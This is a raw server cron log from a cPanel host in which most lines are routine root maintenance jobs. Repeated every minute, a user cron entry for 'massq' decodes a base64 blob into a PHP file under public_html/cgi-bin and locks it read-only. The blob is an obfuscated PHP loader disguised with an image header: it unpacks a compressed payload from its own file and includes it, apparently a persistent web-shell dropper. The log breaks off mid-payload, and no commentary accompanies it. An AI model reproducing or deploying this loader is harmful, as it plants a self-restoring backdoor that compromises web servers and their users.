Sep  7 14:54:01 server CROND[2701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:54:01 server CROND[2702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:54:01 server CROND[2700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:55:01 server CROND[3104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:55:01 server CROND[3106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:55:01 server CROND[3108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:55:01 server CROND[3110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:55:01 server CROND[3112]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:55:01 server CROND[3111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:55:01 server CROND[3109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:56:01 server CROND[4033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:56:01 server CROND[4032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:56:01 server CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:57:01 server CROND[4442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:57:01 server CROND[4443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:57:01 server CROND[4444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:57:01 server CROND[4445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:58:01 server CROND[4847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:58:01 server CROND[4848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:58:01 server CROND[4849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:59:01 server CROND[5234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:59:01 server CROND[5235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:59:01 server CROND[5236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:00:01 server CROND[5626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:00:01 server CROND[5629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:00:01 server CROND[5631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:00:01 server CROND[5633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:00:01 server CROND[5632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:00:01 server CROND[5634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:00:01 server CROND[5639]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 15:00:01 server CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:00:01 server CROND[5638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:01:01 server CROND[6471]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 15:01:01 server CROND[6472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:01:01 server CROND[6474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:01:01 server CROND[6473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:01:01 server run-parts(/etc/cron.hourly)[6471]: starting 0anacron
Sep  7 15:01:01 server run-parts(/etc/cron.hourly)[6495]: finished 0anacron
Sep  7 15:02:01 server CROND[6971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:02:01 server CROND[6972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:02:01 server CROND[6973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:03:01 server CROND[7363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:03:01 server CROND[7364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:03:01 server CROND[7365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:04:01 server CROND[7755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:04:01 server CROND[7756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:04:01 server CROND[7757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:05:01 server CROND[8204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:05:01 server CROND[8206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:05:01 server CROND[8209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:05:01 server CROND[8212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:05:01 server CROND[8211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:05:01 server CROND[8210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:05:01 server CROND[8214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1